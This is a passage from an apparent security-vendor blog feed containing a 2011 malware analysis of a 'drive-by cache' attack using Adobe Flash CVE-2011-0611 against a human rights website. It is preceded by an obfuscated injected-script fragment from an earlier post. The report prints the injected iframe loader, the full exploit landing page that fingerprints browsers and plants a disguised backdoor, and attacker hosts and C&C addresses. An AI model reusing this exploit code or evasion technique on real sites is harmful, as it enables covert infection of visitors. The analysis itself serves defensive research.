/&gt;drawHome={number:721};surePage={late:false};&lt;br /&gt;air[follow](color,most);&lt;br /&gt;try {var cryFarm="putFollow"} catch(cryFarm){};var plantClear="";&lt;br /&gt;air[bed]();&lt;br /&gt;try {var meEver="shapeDark"} catch(meEver){};&lt;br /&gt;&lt;br /&gt;try{&lt;br /&gt;var whyRule=["slow","followNight"];var whiteAnswer=["standWatch","fastKnew"];&lt;br /&gt;var sameOff=26811;actCome=["walkHand","even","waterWay"];this.draw=29713;this.draw-=76;&lt;br /&gt;strong[stay](color);&lt;br /&gt;var clear="";var tellFront=["seemBody"];var lookNumber="";&lt;br /&gt;&lt;br /&gt;} catch(e){&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mayForce=12153;mayForce+=212;var homeMay={unitFirst:false};manAt=8219;manAt+=30;&lt;br /&gt;whereSoon=["happenRiver","aboveCause"];cutLive=["wentThere","meanBusy"];&lt;br /&gt;&lt;br /&gt;}catch(noun) {&lt;br /&gt;lessFive=["fishTail","behindYet","ourAgo"];this.same=false;var airSix="";&lt;br /&gt;try {&lt;br /&gt;var direct=false;var better=["showGrow","factHand"];&lt;br /&gt;air[bed]();&lt;br /&gt;changeBack={hot:6344};var it=new Array();&lt;br /&gt;} catch(first){}&lt;br /&gt;helpPlain=["beBig","listen"];&lt;br /&gt;}&lt;br /&gt;var ageSecond=15826;this.fallThree="";var faceTree=28716;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var sleep=0;&lt;br /&gt;var topAnimal=false;&lt;br /&gt;&lt;br /&gt;function groundMen(){&lt;br /&gt;&lt;br /&gt;while(sleep++ &amp;lt; 171){&lt;br /&gt;groundMen();&lt;br /&gt;}&lt;br /&gt;if(!topAnimal){&lt;br /&gt;topAnimal = true;&lt;br /&gt;the();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;groundMen();&amp;lt;/script&amp;gt;nisi nebs coalify opera caw add gluts rewon toph reinked bucko web moot.woofer reinked haeres arabic hernia bice blind nebs schmoos stow opera obese snaffle en hajes scow pyx.&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;(Follow up post on &lt;a href="http://blog.armorize.com/2011/05/goalcom-spreading-malware-again.html"&gt;reinfection&lt;/a&gt; posted May 17th)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-7904709887110891358?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/7904709887110891358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/05/goalcom-serving-malware.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/7904709887110891358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/7904709887110891358'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/05/goalcom-serving-malware.html' title='Goal.com serving malware'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Dvqs2nT7HKk/Tb6QhMxwMWI/AAAAAAAACO0/4x83jfXHPNw/s72-c/goal_com_drive_by_download_exploit.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-3130578018114440178</id><published>2011-04-16T01:31:00.000-07:00</published><updated>2011-12-05T00:02:50.326-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by Cache'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Newest Adobe flash 0-day used in new drive-by download variation: drive-by cache, targets human rights website</title><content type='html'>(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)&lt;br /&gt;Armorize runs one of the world's largest cloud-based Web malware scanning service, OEM'd to large security and hosting companies. Recently, we've noticed increasing use of a variation of the drive-by download attack, coupled usually with 0-days. This is our technical report on the subject.&lt;br /&gt;&lt;br /&gt;We realize in recent years, "interesting" threat names have been regularly created, for example the popular [cross-X Y-ing] convention. Sometimes X can be as big as cloud. Nevertheless we feel we need to give this method a unique name; we'll dub it Drive-By Cache. Here's a summary of this report:&lt;br /&gt;&lt;br /&gt;A. The method of attack is a variation of the drive-by download mechanism; we dub it "drive-by cache." This mechanism makes the infection harder to detect than drive-by download.&lt;br /&gt;B. Here we use a recent example reported by our scanners. The infected site is human rights website, and the exploit itself is the Adobe flash 0-day &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;CVE-2011-0611&lt;/a&gt;, which Adobe &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;patched&lt;/a&gt; yesterday. HackAlert first flagged this infection about a week ago, when there was no patch available for this 0-day.&lt;br /&gt;C. The installed malware connects back to 182.237.3.105, an IP in Hong Kong.&lt;br /&gt;&lt;br /&gt;More summary can be found in &lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#forensics-summary"&gt;[5. Forensics Summary]&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;[Sections]&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#section-1-drive-by-download"&gt;1. Brief overview of drive-by downloads&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#drive-by-cache"&gt;2. Drive by cache&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#example"&gt;3. Real-world example&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#detection-rates"&gt;4. Detection Rates&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#forensics-summary"&gt;5. Forensics Summary&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=3130578018114440178#complete-exploit-codes"&gt;6. Complete codes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="section-1-drive-by-download"&gt;&lt;b&gt;[1. Brief overview of drive-by downloads]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A drive-by download attack refers to the process of a user visiting an infected page and subsequently gets installed with malware, without his/her knowledge and without having him/her to click on or to agree to anything. Our previous post on &lt;a href="http://blog.armorize.com/2010/12/hdd-plus-malware-spread-through.html"&gt;HDD spreading itself via malvertising&lt;/a&gt; is a typical example of this type of threat.&lt;br /&gt;&lt;br /&gt;This type of threat has been in existence since 2000, and as heap-spraying techniques matured around 2003, has become widespread. The use of the term "drive-by download" to describe such threat, however, didn't receive widespread acceptance until Google's 2003 publication of their &lt;a href="http://www.usenix.org/event/hotbots07/tech/full_papers/provos/provos.pdf"&gt;"Ghost in the Browser"&lt;/a&gt; paper (Provos et al.); prior to that the term drive-by download was used to describe multiple web-based malware threats (drive-by downloads, click-by downloads, phishing, etc). During 2003, the meaning of drive-by download became mature and specific, referring to the type of Web malware threat as described in Google's &lt;a href="http://www.usenix.org/event/hotbots07/tech/full_papers/provos/provos.pdf"&gt;Ghost&lt;/a&gt; paper.&lt;br /&gt;&lt;br /&gt;Below is a simplified illustration of this process; a more detailed description, with animation, can be found in our 2009 BlackHat / DEFCON &lt;a href="http://www.slideshare.net/wayne_armorize/drivesploit-circumventing-both-automated-and-manual-drivebydownload-detection"&gt;drivesploit presentation&lt;/a&gt; pages 15-17.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-XOmOpI6Cnss/Tal8CCO7JkI/AAAAAAAACMo/ZkW_ZWsFiNg/s1600/drive_by_cache_1.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:750px" src="http://3.bp.blogspot.com/-XOmOpI6Cnss/Tal8CCO7JkI/AAAAAAAACMo/ZkW_ZWsFiNg/s1600/drive_by_cache_1.PNG" alt="" id="BLOGGER_PHOTO_ID_5596140386385602114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In step 1, the victim visits an infected site, which has been injected with some malicious javascript (or flash). The injected javascript can create an iframe pointing to some hop points, or it can directly be an exploit. Doesn't matter. What's important is ultimately, the browser loads an exploit, often in the form of javascript or flash. In the example we're using here, it's an exploit for the Adobe flash 0-day &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;CVE-2011-0611&lt;/a&gt; vulnerability.&lt;br /&gt;&lt;br /&gt;In step 2, the exploit runs inside the browser, exploits the browser, forcing the browser to execute some commands (called shellcode) that came with the exploit. The command would cause the browser process to make another connection to some URL, often not the same domain as the original infected domain, to fetch a piece of malware, write it to disk, and execute it. This is step 3.&lt;br /&gt;&lt;br /&gt;It is difficult for desktop antivirus technologies to detect drive-by downloads statically using signatures (patterns). Browser exploits usually exist in the form of scripts, for example javascripts or flash actionscripts. They can be randomly obfuscated on-the-fly as they are served to victims; refer to the &lt;a href="http://www.slideshare.net/wayne_armorize/drivesploit-circumventing-both-automated-and-manual-drivebydownload-detection"&gt;drivesploit presentation&lt;/a&gt; for the many creative ways attackers obfuscate script-based exploits. Collecting signatures for these randomly obfuscated and therefore "disposable" javascripts not only does not increase detection rates, it explodes one's signature database and causes detection speeds to drop (too many signatures to match against).&lt;br /&gt;&lt;br /&gt;Behavior-based detection, on the other hand, is very effective for this type of threat. For drive-by downloads, the behavior is consistent and can be well defined. If we hook around the browser, the javascript engine, and various APIs, we will clearly see the following behavior, in sequential order:&lt;br /&gt;&lt;br /&gt;A. Browser loads a URL (victim visits an infected site)&lt;br /&gt;B. Exploit code executes and succeeds, so browser starts to execute shellcode that came with the exploit&lt;br /&gt;C. Browser calls URLDownloadToFile() of urlmon.dll, which downloads some file from some URL and writes to disk as some file.&lt;br /&gt;D. Browser executes the created file&lt;br /&gt;&lt;br /&gt;Browser exploits love to call URLDownloadToFile(); for example, there are &lt;a href="http://www.exploit-db.com/search/?action=search&amp;amp;filter_page=1&amp;amp;filter_description=download&amp;amp;filter_exploit_text=&amp;amp;filter_author=&amp;amp;filter_platform=43&amp;amp;filter_type=4&amp;amp;filter_lang_id=0&amp;amp;filter_port=&amp;amp;filter_osvdb=&amp;amp;filter_cve="&gt;8 drive-by download shellcodes&lt;/a&gt; listed on exploit-db, and all of them use URLDownloadToFile() for step (B).&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-hOfOCRfoGhs/Tapx5son-KI/AAAAAAAACNI/TkSS2jaeIj8/s1600/shellcode_exploit_db.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/-hOfOCRfoGhs/Tapx5son-KI/AAAAAAAACNI/TkSS2jaeIj8/s1600/shellcode_exploit_db.png" alt="" id="BLOGGER_PHOTO_ID_5596410723009296546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But browsers don't normally call URLDownloadToFile() and therefore, the use of this API can be a good trigger point for behavior-based Web malware detection.&lt;br /&gt;&lt;br /&gt;Generally speaking, to bypass behavior-based detection, shellcodes need to do as little as possible, and act as similar to the browser (call similar APIs) as possible. The simplest way to achieve this, is to have the browser do most of the work for the shellcode.&lt;br /&gt;&lt;br /&gt;&lt;a name="drive-by-cache"&gt;&lt;b&gt;[2. Drive-by cache]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;And drive-by caching does exactly this. In drive-by caching, a shellcode doesn't do Step (C). After being executed, it doesn't make an attempt to &lt;b&gt;download&lt;/b&gt; a file and write it to disk. Instead, it locates the malware which is already sitting in the browser's cache directory, and executes it.&lt;br /&gt;&lt;br /&gt;And that's why we take out the word &lt;b&gt;download&lt;/b&gt; and dub it drive-by &lt;b&gt;cache&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;But how did the malware binary make its way into the browser's cache, BEFORE the exploit was executed? See illustration below:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-CsZUlljlXK8/Tap4dVDm6EI/AAAAAAAACNQ/JuVyKAN1avo/s1600/drive-by-download-drive-by-cache.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-CsZUlljlXK8/Tap4dVDm6EI/AAAAAAAACNQ/JuVyKAN1avo/s1600/drive-by-download-drive-by-cache.png" alt="" id="BLOGGER_PHOTO_ID_5596417932225079362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;For typical drive-by downloads, the process is:&lt;br /&gt;&lt;br /&gt;(1) Browser load URL&lt;br /&gt;(2) Browser executes exploit code&lt;br /&gt;(3) Browser executes shellcode&lt;br /&gt;(4) Shellcode downloads malware to disk&lt;br /&gt;(5) Shellcode executes malware&lt;br /&gt;&lt;br /&gt;In drive-by cache, step (4) is now performed right after step (1) and before step (2). It's also performed by the browser and not the shellcode. How is this done?&lt;br /&gt;&lt;br /&gt;Well it's very simple. The malware binary is renamed as a .jpg or .js file and linked to in the infected page. In the example we use here with the recent infection, the code is:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;script src=newsvine.jp2&amp;gt;&lt;/pre&gt;&lt;br /&gt;The above line tells the browser that it should include "newsvine.jp2" as javascript. The browser then goes to a) retrieve this file, b) writes it to cache, and c) execute the javascript. Of course step (c) would fail because newsfine.jp2 is a PE binary (malware), but now, the file has been retrieved by the browser and written to the cache directory.&lt;br /&gt;&lt;br /&gt;Note that all this is done by the browser and not the shellcode, and the browser executes this of course with a different set of APIs other than URLWriteFileToDisk.&lt;br /&gt;&lt;br /&gt;To a behavior analysis engine, a) this is quote normal browser behavior and no suspicious APIs are being called, and b) this is happening right after step (1) (see illustration above) and therefore this isn't the typical drive-by download behavior sequence.&lt;br /&gt;&lt;br /&gt;And because of the above, compared to drive-by download, drive-by cache is more likely to bypass security detection mechanisms.&lt;br /&gt;&lt;br /&gt;&lt;a name="example"&gt;&lt;b&gt;[3. Real-world example]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At the time of this writing, this human rights website is still infected with this exploit, which leverages a) drive-by cache and b) the recent Adobe flash 0-day &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;CVE-2011-0611&lt;/a&gt;. HackAlert first detect the infection about a week ago, and also flagged a non-standard drive-by download behavior.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-FncX_ZiKYeI/Tax6-5P6JJI/AAAAAAAACOI/llkffhSOxP4/s1600/drive-by-cache-hackalert.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-FncX_ZiKYeI/Tax6-5P6JJI/AAAAAAAACOI/llkffhSOxP4/s1600/drive-by-cache-hackalert.png" alt="" id="BLOGGER_PHOTO_ID_5596983657852707986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The infection can be found at the bottom of the html:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;/div&amp;gt;&amp;lt;script src="/includes/googlead.js"&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;/includes/googlead.js creates an iframe to the malicious domain:&lt;br /&gt;&lt;pre class="brush: html;"&gt;if (document.cookie.indexOf('popad') == -1) {&lt;br /&gt; var e = new Date();&lt;br /&gt; e.setDate(e.getDate() + 1);&lt;br /&gt; e.setHours(0, 0, 0);&lt;br /&gt; e.setTime(e.getTime());&lt;br /&gt; document.cookie = 'popad=true;path=/;expires=' + e.toGMTString();&lt;br /&gt; document.write("&amp;lt;iframe frameborder=0 style='position: absolute; top:-9999px;left:-9999px' src='http://71.6.217.131/dir/AI/exploit.html' width=468 height=60 scrolling=no&amp;gt;&amp;lt;/iframe&amp;gt;");&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The exploit (which is still live right now) is served from http://71.6.217.131/dir/AI/exploit.html. Full content of this exploit is listed at the bottom of this report. Here's one of the important sections:&lt;br /&gt;&lt;pre class="brush: html;"&gt;var display="&amp;lt;script type=\"text/javascript\"&amp;gt;window.onerror=function(){return true;};&amp;lt;\/script&amp;gt;\r\n"+"&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;\/script&amp;gt;\r\n"+&lt;br /&gt;"&amp;lt;object width=\"550\" height=\"400\"&amp;gt;\r\n"+&lt;br /&gt;"&amp;lt;param name=\"movie\" value=\"done.swf\"&amp;gt;\r\n"+&lt;br /&gt;"&amp;lt;embed src=\"display.swf\" width=\"550\" height=\"400\"&amp;gt;\r\n"+&lt;br /&gt;"&amp;lt;\/embed&amp;gt;\r\n"+&lt;br /&gt;"&amp;lt;\/object&amp;gt;"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Which writes out:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;window.onerror=function(){return true;};&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;object width="550" height="400"&amp;gt;&lt;br /&gt; &amp;lt;param name="movie" value="done.swf"&amp;gt;&lt;br /&gt; &amp;lt;embed src="display.swf" width="550" height="400"&amp;gt;&amp;lt;/embed&amp;gt;&lt;br /&gt;&amp;lt;/object&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;"display.swf" is the flash swf file containing the actual exploit code written in flash ActionScript. Full decoded version of the code can be found at the bottom of this report. &lt;b&gt;&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;\/script&amp;gt;&lt;/b&gt; does the drive-by caching. newsvine.jpg's original name is swf.exe, and is a backdoor written in VB, possibly of the pincav family. Here it is renamed to newsvine.jp2, and its url is placed iin a &amp;lt;script&amp;gt; tag. Processing this tag, the victim's browser will proceed to download newsvine.jp2 and write it to the cache directory.&lt;br /&gt;&lt;br /&gt;Subsequently, display.swf is downloaded by the browser, and the ActionScript it contains is executed. The script exploits the &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;CVE-2011-0611 Adobe Flash 0-day&lt;/a&gt;, and causes the shellcode to execute. The shellcode looks in the browser's cache directory for newsvine.jp2 and executes it.&lt;br /&gt;&lt;br /&gt;Newsvine.jp2 (or swf.exe) connects back to CNC server at jeentern.dyndns.org:80, which resolves to 182.237.3.105 at the time of this writing.&lt;br /&gt;&lt;br /&gt;&lt;a name="detection-rates"&gt;&lt;b&gt;[4. Detection Rates]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The exploit code is in flash ActionScript and is located within swf files. Because this isn't the traditional drive-by download shellcode, but rather drive-by cache, detection rate seems low. When we &lt;a href="http://www.virustotal.com/file-scan/report.html?id=2e498420acf149a2ea785bd798061d1e14b1b069e9abd83889da7e2f8d15c227-1302535834"&gt;submitted the swf file to VirusTotal&lt;/a&gt;, &lt;b&gt;&lt;span style="color:#FF0000;"&gt;0 out of 42 antivirus vendors&lt;/span&gt;&lt;/b&gt; detected this exploit.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-hjYLVAZAVME/Tax-6R7sFkI/AAAAAAAACOQ/wesQf30qOIk/s1600/virustotal-drive-by-cache-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-hjYLVAZAVME/Tax-6R7sFkI/AAAAAAAACOQ/wesQf30qOIk/s1600/virustotal-drive-by-cache-1.png" alt="" id="BLOGGER_PHOTO_ID_5596987976625952322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;As for newsvine.jp2 (swf.exe), &lt;b&gt;&lt;span style="color:#FF0000;"&gt;we got 1/42 on VirusTotal&lt;/span&gt;&lt;/b&gt; (&lt;a href="http://www.virustotal.com/file-scan/report.html?id=408997d8e452a22649a789bddbe23ba3cf3f008db4a54771c1f731437b7c4eea-1302825095"&gt;report is here&lt;/a&gt;). Only Microsoft detected this backdoor.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-mZtTqgi3Y5A/Tax-6kxT4QI/AAAAAAAACOY/C_EqqLQplbk/s1600/virustotal-drive-by-cache-dropped-newsvine.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-mZtTqgi3Y5A/Tax-6kxT4QI/AAAAAAAACOY/C_EqqLQplbk/s1600/virustotal-drive-by-cache-dropped-newsvine.png" alt="" id="BLOGGER_PHOTO_ID_5596987981682696450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="forensics-summary"&gt;&lt;b&gt;[5. Forensics Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here's what we know so far:&lt;br /&gt;&lt;br /&gt;1. The human rights website has been infected (in multiple pages) at least a week ago, and is still infected right now.&lt;br /&gt;2. drive-by cache is used instead of drive-by download&lt;br /&gt;3. exploits &lt;a href="http://www.adobe.com/support/security/bulletins/apsb11-07.html"&gt;CVE-2011-0611 Adobe Flash 0-day&lt;/a&gt;&lt;br /&gt;4. VirusTotal detection was 0 out of 42 for the swf exploits, and 1 out of 42 for the malware.&lt;br /&gt;5. exploit served by http://71.6.217.131/dir/AI/exploit.html, which we believe is a compromised server in San Diego, hosted by &lt;a href="http://cari.net/"&gt;Cari.Net&lt;/a&gt;.&lt;br /&gt;6. newsvine.jp2, originally swf.exe, is drive-by cached and then executed by the shellcode. It a backdoor written in VB, possibly of the pincav family. It has an invalid digital signature pretending to be the &lt;a href="http://en.wikipedia.org/wiki/Xunlei"&gt;Xunlei download manager&lt;/a&gt;, which XunLei claims to be the world's most widely used download manager. Interesting strings within the binary suggest the author to be "chuang" or "zchuang".&lt;br /&gt;7. newsfine.jp2 connects back to CNC server at jeentern.dyndns.org:80, which resolves to 182.237.3.105, an IP in Hong Kong.&lt;br /&gt;&lt;br /&gt;&lt;a name="complete-exploit-codes"&gt;&lt;b&gt;[6. Complete codes]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Below we include full exploit codes to this drive-by cache example. If you need anything else, please email Xwayne@armorize.comX (delete the two enclosing X's).&lt;br /&gt;&lt;br /&gt;1. http://71.6.217.131/dir/AI/exploit.html:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function getCookieVal(offset) {&lt;br /&gt; var endstr = document.cookie.indexOf(";", offset);&lt;br /&gt; if (endstr == -1) {&lt;br /&gt;   endstr = document.cookie.length;&lt;br /&gt; }&lt;br /&gt; return unescape(document.cookie.substring(offset, endstr));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function GetCookie(name) {&lt;br /&gt; var arg = name + "=";&lt;br /&gt; var alen = arg.length;&lt;br /&gt; var clen = document.cookie.length;&lt;br /&gt; var i = 0;&lt;br /&gt; while (i &amp;lt; clen) {&lt;br /&gt;   var j = i + alen;&lt;br /&gt;   if (document.cookie.substring(i, j) == arg) return getCookieVal(j);&lt;br /&gt;   i = document.cookie.indexOf(" ", i) + 1;&lt;br /&gt;   if (i == 0) break;&lt;br /&gt; }&lt;br /&gt; return null;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function SetCookie(name, value) {&lt;br /&gt; var argv = SetCookie.arguments;&lt;br /&gt; var argc = SetCookie.arguments.length;&lt;br /&gt; var expires = (2 &amp;lt; argc) ? argv[2] : null;&lt;br /&gt; var path = (3 &amp;lt; argc) ? argv[3] : null;&lt;br /&gt; var domain = (4 &amp;lt; argc) ? argv[4] : null;&lt;br /&gt; var secure = (5 &amp;lt; argc) ? argv[5] : false;&lt;br /&gt; document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function DisplayInfo() {&lt;br /&gt; var expdate = new Date();&lt;br /&gt; var visit;&lt;br /&gt; expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000));&lt;br /&gt; if (!(visit = GetCookie("vis1t"))) visit = 0;&lt;br /&gt; visit++;&lt;br /&gt; SetCookie("vis1t", visit, expdate, "/", null, false);&lt;br /&gt; return visit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function code() {&lt;br /&gt; var num = DisplayInfo();&lt;br /&gt; if (num &amp;lt; 3) {&lt;br /&gt;   return 1;&lt;br /&gt; } else {&lt;br /&gt;   return 0;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function user() {&lt;br /&gt;&lt;br /&gt; var weekDay = "&amp;lt;script type=\"text/javascript\"&amp;gt;window.onerror=function(){return true;};&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;object classID=yg.dll#yg.e&amp;gt;&amp;lt;\/object&amp;gt;\r\n" + "&amp;lt;object width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;param name=\"movie\" value=\"done.swf\"&amp;gt;\r\n" + "&amp;lt;embed src=\"March.swf\" width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;\/embed&amp;gt;\r\n" + "&amp;lt;\/object&amp;gt;";&lt;br /&gt; var display = "&amp;lt;script type=\"text/javascript\"&amp;gt;window.onerror=function(){return true;};&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;object width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;param name=\"movie\" value=\"done.swf\"&amp;gt;\r\n" + "&amp;lt;embed src=\"display.swf\" width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;\/embed&amp;gt;\r\n" + "&amp;lt;\/object&amp;gt;";&lt;br /&gt;&lt;br /&gt; var Example = "&amp;lt;script type=\"text/javascript\"&amp;gt;window.onerror=function(){return true;};&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;script src=newsvine.jp2&amp;gt;&amp;lt;\/script&amp;gt;\r\n" + "&amp;lt;object classID=yg.dll#yg.e&amp;gt;&amp;lt;\/object&amp;gt;\r\n" + "&amp;lt;object width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;param name=\"movie\" value=\"done.swf\"&amp;gt;\r\n" + "&amp;lt;embed src=\"Birthday.swf\" width=\"550\" height=\"400\"&amp;gt;\r\n" + "&amp;lt;\/embed&amp;gt;\r\n" + "&amp;lt;\/object&amp;gt;";&lt;br /&gt; var info = navigator.userAgent.toLowerCase();&lt;br /&gt; var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");&lt;br /&gt; var ck = code();&lt;br /&gt; var January = info.indexOf('msie 8.0');&lt;br /&gt; var February = info.indexOf('msie 7.0');&lt;br /&gt; var April = info.indexOf('msie 6.0');&lt;br /&gt; var June = info.indexOf("windows nt 5.1");&lt;br /&gt; var August = info.indexOf("windows nt 6.1");&lt;br /&gt; if (January &amp;gt; 0 &amp;amp;&amp;amp; June &amp;gt; 0 &amp;amp;&amp;amp; ck == 1) {&lt;br /&gt;   document.body.innerHTML = "xxxx" + weekDay;&lt;br /&gt; }&lt;br /&gt; if (June &amp;gt; 0 &amp;amp;&amp;amp; ck == 1 &amp;amp;&amp;amp; (February &amp;gt; 0 || April &amp;gt; 0)) {&lt;br /&gt;   document.body.innerHTML = "xxxx" + display;&lt;br /&gt; }&lt;br /&gt; if (January &amp;gt; 0 &amp;amp;&amp;amp; August &amp;gt; 0 &amp;amp;&amp;amp; ck == 1) {&lt;br /&gt;   document.body.innerHTML = "xxxx" + Example;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onload=user()&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2. Exploit in ActionScript, decoded from the swf files:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: js;"&gt;package ie_fla {&lt;br /&gt; import flash.display. * ;&lt;br /&gt; 